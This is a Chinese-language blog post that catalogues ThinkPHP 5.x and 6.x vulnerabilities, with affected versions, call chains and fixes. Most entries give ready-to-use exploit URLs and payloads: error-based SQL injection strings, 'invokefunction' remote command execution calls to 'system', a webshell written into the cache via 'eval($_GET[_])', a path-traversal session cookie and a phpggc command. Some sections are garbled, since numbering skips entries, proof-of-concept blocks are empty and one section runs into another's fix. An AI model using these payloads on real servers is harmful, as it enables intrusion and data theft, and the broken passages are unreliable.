ThinkPHP 系列漏洞

06-01 1408阅读

目录

2、thinkphp5 sql注入2

3、thinkphp5 sql注入3

4、 thinkphp5 SQL注入4

5、 thinkphp5 sql注入5

6、 thinkphp5 sql注入6

 7、thinkphp5 文件包含漏洞

8、ThinkPHP5 RCE 1

9、ThinkPHP5 RCE 2

10、ThinkPHP5 rce3

11、ThinkPHP 5.0.X 反序列化漏洞 

12、ThinkPHP5.1.X反序列化命令执行漏洞

13、ThinkPHP5.2.X反序列化命令执行漏洞

14、thinkphp 6  任意文件创建漏洞

15、ThinkPHP6.X 反序列化命令执行漏洞


所有 sql 注入漏洞均在 library/think/db/Builder.php 文件中。

1、thinkphp5 SQL注入1

漏洞影响版本: 5.0.13 \think\db\builder\Mysql::update() => Builder::update() => Builder::parseData():直接将数据进行拼接进SQL语句

ThinkPHP 系列漏洞

exp:

http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

漏洞修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤

3、thinkphp5 sql注入3

漏洞存在于 Mysql 类的 parseWhereItem 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞的产生。

漏洞影响版本: ThinkPHP5全版本

攻击链:

payload =>
Request::get() =>
Request::input() =>
Query::where() =>
Builder::select() =>
Builder::buildWhere() =>
Builder::parseWhereItem():当 sql 操作符等于 exp 时,用户数据直接拼接进入 SQL语句

ThinkPHP 系列漏洞

漏洞利用:

http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)
#(thinkphp需开启 app_debug)

漏洞修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤

4、 thinkphp5 SQL注入4

漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。并且, Request 类的 filterValue 方法没有过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP=5.0.10 

攻击链:

payload =>
Request::input() =>
filterValue() =>
Mysql::select() =>
Builder::select() :对sql 语句模板进行变量填充
=> Builder::buildWhere()
=> Builder::parseWhereItem :SQL语句拼接,sql 逻辑操作符由用户控制

ThinkPHP 系列漏洞

漏洞利用:

http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()

漏洞修复:在 filterValue 中过滤 NOT LIKE

5、 thinkphp5 sql注入5

漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16 filterCalue():过滤函数未对数组的键进行过滤 => Query::order() => Query::find() => Connection::find() => Builder::select() => str_replace() :将数据填充到SQL模板语句 => Builder::parseOrder() => Mysql::parseKey() :直接给变量两端添加反引号,最后直接返回拼接的字符串 

ThinkPHP 系列漏洞

漏洞利用:

http://localhost:8000/index/index/index?orderby[id|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

漏洞修复:在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号

6、 thinkphp5 sql注入6

漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞影响版本: 5.0.0 Connection::parseKey() => Builder::select() => str_replace() => Builder::parseField() :直接拼接SQL语句

ThinkPHP 系列漏洞

漏洞利用:

http://localhost:8000/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

不同版本 payload 需稍作调整:

 5.0.0~5.0.21 、 5.1.3~5.1.10 :

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23  

5.1.11~5.1.25 :

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23`

漏洞修复:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常

 7、thinkphp5 文件包含漏洞

漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。

public function read($cacheFile, $vars = [])
{
    $this->cacheFile = $cacheFile;
    if (!empty($vars) && is_array($vars){
        // 模板阵列变量分解为独立变量
        if (isset($vars['cacheFile'])){
            $_think_cacheFile = $cacheFile;
            $cacheFile = $vars['cacheFile'];
            unset($vars['cacheFile'], $vars['_think_cacheFile']);
            extract($vars, EXTR_OVERWRITE);
            include $_think_cacheFile;
            return;
        }
        extract($vars);
        extract($vars, EXTR_OVERWRITE);
    }
    // 载入模板缓存文件
    include $cacheFile;
    include $this->cacheFile;
}

漏洞影响版本: 5.0.0 File::read() => extract() => extract($cacheFile) :用户数据覆盖$cacheFile 变量的值 => include($cacheFile):文件包含

漏洞利用:

创建 application/index/view/index/index.html 文件,并将图片马 1.jpg 上传至 public 目录下,访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发文件包含漏洞 。

官方修复:先将 $cacheFile 变量存储在 $this->cacheFile 中,在使用 extract 函数后,最终 include 的变量是 $this->cacheFile ,这样也就避免了 include 被覆盖后的变量值。

8、ThinkPHP5 RCE 1

漏洞存在于 thinkphp/library/think/Cache.php 的 Cache 类中,该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发远程代码执行漏洞。

漏洞影响版本: 5.0.0 Cache::init() => thinkphp\library\think\driver\File::set() => serialize():在文件开头拼接了“//”注释符(换行绕过即可),存储为 php 文件

文件名生成规则:获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名,如果应用程序还设置了前缀 $this->options['prefix'] ,则缓存文件还将多一个上级目录。

ThinkPHP 系列漏洞

ThinkPHP 系列漏洞

漏洞利用:

http://localhost/tpdemo/public/?username=username123%0d%0a@eval($_GET[_]);  
// 将 webshell 写入缓存文件。

官方修复:将数据拼接在 php 标签之外,并在 php 标签中拼接 exit() 函数。

9、ThinkPHP5 RCE 2

漏洞影响版本: 5.0.7 rce

2)控制器名称从兼容模式下的s参数获取,但对s的值没有做任何安全处理,最后会被传递到exec(),造成rce

攻击链:payload => s => Dispatch::$result => App::run() => Dispatch::run => exec() => rce

ThinkPHP 系列漏洞

不同版本 payload :

5.1.x :

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞修复:

5.1.x:thinkphp/library/think/route/dispatch/Url.php  类的 parseUrl 方法,解析控制器后加上过滤

5.0.x:thinkphp/library/think/App.php  类的 module 方法的获取控制器的代码后面加上过滤

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

10、ThinkPHP5 rce3

漏洞影响版本: 5.0.0 Request::param() => 

Request::method() => Request::server() => 

Request::input() => filterValue() => call_user_func() => rce

2)为开启 debug 模式

在 Dispatch 类的 run 方法中,会执行一个 exec 方法,当该方法中的 $dispatch['type'] 等于 controller 或者 method 时,又会调用 Request 类的 param 方法。$dispatch['type'] 来源于 parseRule 方法中的 $result 变量,而 $result 变量又与 $route 变量有关系, $route 变量取决于程序中定义的路由地址方式,GET方式中存在一条路由,可以利用这一路由地址,使得 $dispatch['type'] 等于 method ,从而完成 远程代码执行漏洞。

路由方式:'\完整的命名空间类@动态方法'
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index")

ThinkPHP 系列漏洞

ThinkPHP 系列漏洞

攻击链:

payload => $_GET => $route => Route::parseRule(..., $result, ...) => 

Dispatch::run() => exec($dispatche['type'], ...) => Request::$method  => 

Request::param() => Request::method() => Request::server() => 

Request::input() => filterValue() => call_user_func() => rce

漏洞利用:

ThinkPHP md5(‘tag_’+md5($tag)),访问 webshell 时要对文件名进行 URL 编码

Poc:

 

漏洞修复:

1)同上

2)使用 PHP7 新增的 unserialize 的过滤器,它通过白名单的方式来防止潜在的代码注入,将除 MyClass 和 MyClass2 和 stdClass 之外的所有对象都转换为 __PHP_Incomplete_Class 对象,从而阻断反序列化的漏洞利用链

13、ThinkPHP5.2.X反序列化命令执行漏洞

漏洞成因:

5.1 版本中的反序列化漏洞构造,__call 之前的方法仍然可以使用。5.2 版本的 think\model\concern\Attribute 类中的 getValue方法中存在一个可控的动态函数调用的点 $closure($value, $this->data),只要让 $closure='system' 并且 $value='要执行的命令' ,就可以触发命令执行。

ThinkPHP 系列漏洞

通过触发__destruct()方法中的removeFiles(),该函数内用了一个file_exists()方法处理对象实例时会当成字符串,从而触发__toString(),调用toJson() => toArray() => getAttr(),最后在getValue()处调用动态函数导致命令执行。

POP链:

think\process\pipes\Windows::__destruct() =>
think\process\pipes\Windows::removeFiles() =>
think\model\concern\Conversion::__toString() =>
think\model\concern\Conversion::toJson() =>
think\model\concern\Conversion::toArray() =>
think\model\concern\Attribute::getAttr() =>
think\model\concern\Attribute::getValue() =>
$closure($value, $this->data) => system('command', $this-data)

POC :

 

漏洞修复:同上

14、thinkphp 6  任意文件创建漏洞

漏洞成因:

session 文件默认存储在 /var/www/html/tp60/runtime/session 下,其文件名格式类似 sess_PHPSESSID 。而当我们在 PHPSESSID 中插入特殊字符时,程序还是能正常生成对应文件。因此,这里存在任意文件创建漏洞,且通过插入路径穿越符,还存在文件覆盖和getshell的可能。

在 session 初始化时,程序会将 PHPSESSID 对应的值赋值给 \think\session\Store:id 。当 PHPSESSID 对应值长度等于32,则无任何过滤直接赋值。然后在程序构造响应数据返回给用户时,会先将 session 写入文件,而这个文件的文件名则由之前的 PHPSESSID 拼接而成。由于没有任何的过滤,这也就造成了任意文件创建、覆盖。

ThinkPHP 系列漏洞

ThinkPHP 系列漏洞

漏洞利用:

在 浏览器 console下执行poc,\runtime\session文件夹下就会生成php文件:

document.cookie="PHPSESSID=/../../../public/demo.php";

漏洞修复:对 session 的判断以及写入做拦截与效验,不允许直接 .php文件的 session 值写入

15、ThinkPHP6.X 反序列化命令执行漏洞

漏洞成因:

Model类中的checkAllowFields() 方法存在可控变量拼接的问题,可以调用 __toString(),融合 5 版本的 rce pop 链 即可构造此版本的 rce。

ThinkPHP 系列漏洞

POP链:

Model::__destruct() =>
Model::save() =>
Model::updateData() =>
Model::checkAllowFields()->db()  =>
__toString() => toJson() => toArray() =>
Attribute::getAttr() =>
Attribute::getValue() =>
$closure($value, $this->data) => system('command', $this-data)

漏洞利用:

1)phpggc上有集成的exp,使用如下命令即可生成

./phpggc -u ThinkPHP/RCE2 'phpinfo();'

2)POC

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。

目录[+]

取消
微信二维码
微信二维码
支付宝二维码